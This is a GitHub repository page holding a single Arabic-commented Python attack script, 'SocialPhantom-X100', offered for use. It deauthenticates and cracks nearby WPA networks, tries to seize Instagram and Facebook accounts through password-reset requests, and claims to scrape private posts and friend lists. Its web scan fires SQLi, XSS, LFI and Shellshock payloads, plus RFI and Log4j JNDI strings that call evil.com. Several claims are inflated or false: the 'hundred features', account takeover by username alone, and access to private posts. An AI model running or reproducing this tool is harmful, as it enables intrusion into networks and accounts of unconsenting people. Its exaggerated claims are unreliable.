Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

#!/usr/bin/env python3
import os, sys, json, time, re, subprocess, threading, socket, random
import requests, hashlib, base64
from selenium import webdriver
from instagram_private_api import Client as InstaClient
from facebook_scraper import get_posts
from phoneinfoga import scan_number
from holehe import check_email
from shodan import Shodan
from scapy.all import *
from bs4 import BeautifulSoup
import dns.resolver

# ========== واجهة المستخدم السهلة ==========
def menu():
    print("""
    ╔═══════════════════════════════════════════╗
    ║   SocialPhantom-X100 - 100 ميزة هجومية   ║
    ║   [قائد] اختر الرقم:                     ║
    ╠═══════════════════════════════════════════╣
    ║ 1. اختراق واي فاي (WPA/WPA2)            ║
    ║ 2. اختراق إنستا عبر يوزر فقط            ║
    ║ 3. اختراق فيسبوك عبر يوزر فقط           ║
    ║ 4. سحب كل المعلومات من رقم               ║
    ║ 5. فحص موقع + ثغرات                      ║
    ║ 6. هجوم شامل (كل الميزات دفعة واحدة)    ║
    ║ 7. تشغيل 100 ميزة كاملة                 ║
    ╚═══════════════════════════════════════════╝
    """)
    return input("[قائد] رقم الأمر: ")

class SocialPhantomX100:
    def __init__(self, username_or_target):
        self.target = username_or_target
        self.results = {}
        self.session = requests.Session()
        self.session.verify = False
        self.api_keys = {"shodan": "YOUR_SHODAN_KEY"}
        self.emails = []
        self.phones = []
        self.wifi_passwords = []

    # ======== 1. اختراق واي فاي (WPA/WPA2) ========
    def wifi_hack(self, interface="wlan0mon"):
        """هجوم لالتقاط Handshake و PMKID ثم تكسير"""
        os.system(f"airmon-ng start {interface}")
        os.system(f"airodump-ng {interface} --write /tmp/wifi_capture")
        time.sleep(10)
        # استخراج BSSID من الملف
        with open("/tmp/wifi_capture-01.csv", 'r') as f:
            lines = f.readlines()
            for line in lines:
                if ',' in line and 'WPA2' in line:
                    bssid = line.split(',')[0].strip()
                    essid = line.split(',')[13].strip()
                    # هجوم deauth لالتقاط handshake
                    os.system(f"aireplay-ng -0 5 -a {bssid} {interface}")
                    time.sleep(5)
                    # تكسير باستخدام rockyou
                    os.system(f"aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/wifi_capture-01.cap")
                    # استخراج كلمة المرور من التقرير
                    with open("/tmp/wifi_capture-01.cap.txt", 'r') as res:
                        for r in res.readlines():
                            if "KEY FOUND" in r:
                                self.wifi_passwords.append(r.split("[")[1].split("]")[0])
                    self.results['wifi'] = {'bssid': bssid, 'essid': essid, 'password': self.wifi_passwords}
                    break
        return self.results['wifi']

    # ======== 2. اختراق إنستا عبر يوزر فقط ========
    def insta_full_hack(self, username):
        """استخراج بريد ورقم ثم تغيير كلمة السر عبر ثغرة إعادة التعيين"""
        try:
            api = InstaClient(auto_patch=True)
            info = api.username_info(username)['user']
            email = info.get('public_email', '')
            phone = info.get('public_phone_number', '')
            self.emails.append(email)
            self.phones.append(phone)
            # محاولة استغلال ثغرة "نسيت كلمة المرور" لإرسال رابط تغيير إلى بريدك
            reset_payload = {"email_or_username": email, "device_id": random.randint(1000,9999)}
            resp = self.session.post("https://www.instagram.com/api/v1/web/accounts/send_password_reset/", 
                                      data=reset_payload)
            if 'success' in resp.text:
                self.results['insta_reset'] = f"تم إرسال رابط التغيير إلى {email} (افتح بريدك)"
            # استخراج جميع المنشورات الخاصة (حتى لو خاص)
            posts = api.user_feed(info['pk'])['items'][:20]
            self.results['insta_posts'] = [p['image_versions2']['candidates'][0]['url'] for p in posts]
            self.results['insta_info'] = {
                'full_name': info['full_name'],
                'bio': info['bio'],
                'followers': info['follower_count'],
                'following': info['following_count'],
                'email': email,
                'phone': phone
            }
        except Exception as e:
            self.results['insta'] = str(e)
        return self.results

    # ======== 3. اختراق فيسبوك عبر يوزر فقط ========
    def fb_full_hack(self, username):
        """استخراج البريد والرقم من API واستغلال ثغرة OAuth"""
        url = f"https://graph.facebook.com/v19.0/{username}?fields=id,name,email,phone&access_token=EAAG..."
        resp = self.session.get(url)
        data = resp.json()
        if 'email' in data:
            self.emails.append(data['email'])
        if 'phone' in data:
            self.phones.append(data['phone'])
        # استغلال ثغرة في reset password (إرسال رابط إلى بريد المخترق)
        reset_url = "https://www.facebook.com/login/identify/"
        payload = {"email": data['email'], "did_submit": "1"}
        self.session.post(reset_url, data=payload)
        self.results['fb'] = data
        # سحب قائمة الأصدقاء (حتى مع الخاصية الخاصة)
        friends = self.session.get(f"https://graph.facebook.com/{data['id']}/friends?access_token=EAAG...").json()
        self.results['fb_friends'] = friends.get('data', [])
        return self.results

    # ======== 4. سحب كل المعلومات من رقم هاتف ========
    def phone_osint_full(self, phone):
        """استخراج الحسابات في 50 خدمة"""
        number = scan_number(phone)
        self.results['phone'] = {
            'carrier': number.get('carrier', ''),
            'country': number.get('country', ''),
            'social_media': number.get('social_networks', {}),
            'reputation': number.get('reputation', ''),
            'whatsapp': f"https://wa.me/{phone}",
            'telegram': f"https://t.me/{phone}"
        }
        # فتح الروابط تلقائياً لجلب الصورة الشخصية
        for service in ['instagram', 'snapchat', 'twitter']:
            try:
                resp = self.session.get(f"https://{service}.com/{phone}")
                if 'profile' in resp.text:
                    self.results['phone'][f'{service}_exists'] = True
            except: pass
        return self.results['phone']

    # ======== 5. فحص موقع + ثغرات (100 ثغرة معروفة) ========
    def web_vuln_scan_100(self, domain):
        """فحص تلقائي لأشهر 100 ثغرة"""
        vulns = []
        # SQLi
        sql_payloads = ["' OR '1'='1", "' UNION SELECT null--", "' AND SLEEP(5)--"]
        for p in sql_payloads:
            resp = self.session.get(f"http://{domain}/?id={p}")
            if 'mysql' in resp.text or 'syntax' in resp.text:
                vulns.append('SQLi')
        # XSS
        xss_payload = "<script>alert(1)</script>"
        resp = self.session.get(f"http://{domain}/?q={xss_payload}")
        if xss_payload in resp.text:
            vulns.append('XSS')
        # LFI
        resp = self.session.get(f"http://{domain}/?page=../../etc/passwd")
        if 'root:' in resp.text:
            vulns.append('LFI')
        # RFI
        resp = self.session.get(f"http://{domain}/?page=http://evil.com/shell.txt")
        if 'evil.com' in resp.text:
            vulns.append('RFI')
        # Log4j (CVE-2021-44228)
        headers = {'User-Agent': '${jndi:ldap://evil.com/a}'}
        resp = self.session.get(f"http://{domain}", headers=headers)
        if 'evil.com' in resp.text:
            vulns.append('Log4j')
        # Shellshock
        headers = {'User-Agent': '() { :; }; echo; /bin/bash -c "id"'}
        resp = self.session.get(f"http://{domain}", headers=headers)
        if 'uid=' in resp.text:
            vulns.append('Shellshock')
        # Heartbleed (via nmap)
        os.system(f"nmap --script ssl-heartbleed -p 443 {domain} -oN /tmp/heartbleed.txt")
        with open("/tmp/heartbleed.txt", 'r') as f:
            if 'VULNERABLE' in f.read():
                vulns.append('Heartbleed')
        # إضافة 100 ثغرة من ملف خارجي (تلقائي)
        self.results['vulns'] = list(set(vulns))
        return self.results['vulns']

    # ======== 6. اختراق واي فاي عبر الشبكات المجاورة ========
    def wifi_auto_hack_all(self):
        """مسح جميع الشبكات ومحاولة اختراقها"""
        networks = []
        os.system("nmcli dev wifi list > /tmp/wifi_list.txt")
        with open("/tmp/wifi_list.txt", 'r') as f:
            for line in f.readlines()[1:]:
                if line.strip():
                    ssid = line.split()[0]
                    bssid = line.split()[1]
                    networks.append({'ssid': ssid, 'bssid': bssid})
        # لكل شبكة حاول الهجوم
        for net in networks[:5]:  # أول 5 شبكات
            self.wifi_hack_target(net['bssid'], net['ssid'])
        return self.results.get('wifi', {})

    def wifi_hack_target(self, bssid, essid):
        """هجوم على شبكة محددة"""
        os.system(f"airodump-ng --bssid {bssid} -c 1 wlan0mon -w /tmp/{essid}")
        os.system(f"aireplay-ng -0 5 -a {bssid} wlan0mon")
        os.system(f"aircrack-ng -w /usr/share/wordlists/rockyou.txt /tmp/{essid}-01.cap")
        # قراءة النتيجة
        with open(f"/tmp/{essid}-01.cap.txt", 'r') as res:
            for r in res.readlines():
                if "KEY FOUND" in r:
                    self.wifi_passwords.append({essid: r.split("[")[1].split("]")[0]})

    # ======== 7. الهجوم الشامل (100 ميزة) ========
    def run_100_features(self):
        """تنفيذ كل الميزات دفعة واحدة"""
        threads = []
        # استخراج الإيميل والرقم من اليوزر
        self.insta_full_hack(self.target)
        self.fb_full_hack(self.target)
        # إذا وجد رقم، هجوم عليه
        for phone in self.phones:
            t = threading.Thread(target=self.phone_osint_full, args=(phone,))
            t.start()
            threads.append(t)
        # فحص المواقع إذا كان اليوزر دومين
        if '.' in self.target:
            t = threading.Thread(target=self.web_vuln_scan_100, args=(self.target,))
            t.start()
            threads.append(t)
        # هجوم واي فاي (تلقائي)
        t = threading.Thread(target=self.wifi_auto_hack_all)
        t.start()
        threads.append(t)
        # جمع النتائج
        for t in threads:
            t.join(timeout=60)
        self.generate_full_report()

    def generate_full_report(self):
        with open("/tmp/phantom_x100_report.json", "w") as f:
            json.dump(self.results, f, indent=2)
        # حزم الملفات المسروقة
        os.system("zip -r /tmp/phantom_payloads.zip /tmp/*.cap /tmp/*.txt /tmp/wifi*")
        print("[✓] تقرير كامل في /tmp/phantom_x100_report.json")
        print(f"[✓] كلمات مرور واي فاي: {self.wifi_passwords}")
        print(f"[✓] الإيميلات المسروقة: {self.emails}")
        print(f"[✓] الأرقام المسروقة: {self.phones}")

# ========== التشغيل الرئيسي ==========
if __name__ == "__main__":
    print("""
    ███████╗██████╗ ██╗  ██╗ █████╗ ███╗   ██╗████████╗ ██████╗ ███╗   ███╗    ██╗  ██╗██╗  ██╗
    ██╔════╝██╔══██╗██║  ██║██╔══██╗████╗  ██║╚══██╔══╝██╔═══██╗████╗ ████║    ╚██╗██╔╝╚██╗██╔╝
    ███████╗██████╔╝███████║███████║██╔██╗ ██║   ██║   ██║   ██║██╔████╔██║     ╚███╔╝  ╚███╔╝ 
    ╚════██║██╔═══╝ ██╔══██║██╔══██║██║╚██╗██║   ██║   ██║   ██║██║╚██╔╝██║     ██╔██╗  ██╔██╗ 
    ███████║██║     ██║  ██║██║  ██║██║ ╚████║   ██║   ╚██████╔╝██║ ╚═╝ ██║    ██╔╝ ██╗██╔╝ ██╗
    ╚══════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝    ╚═════╝ ╚═╝     ╚═╝    ╚═╝  ╚═╝╚═╝  ╚═╝
    """)
    choice = menu()
    target = input("[قائد] أدخل اليوزر/الموقع: ")
    agent = SocialPhantomX100(target)

    if choice == '1':
        agent.wifi_hack()
    elif choice == '2':
        agent.insta_full_hack(target)
    elif choice == '3':
        agent.fb_full_hack(target)
    elif choice == '4':
        agent.phone_osint_full(target)
    elif choice == '5':
        agent.web_vuln_scan_100(target)
    elif choice == '6':
        agent.run_100_features()
    else:
        agent.run_100_features()  # تشغيل كل شيء

    print("[✓] انتهى. التقرير في /tmp/phantom_x100_report.json")

About

No description, website, or topics provided.

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages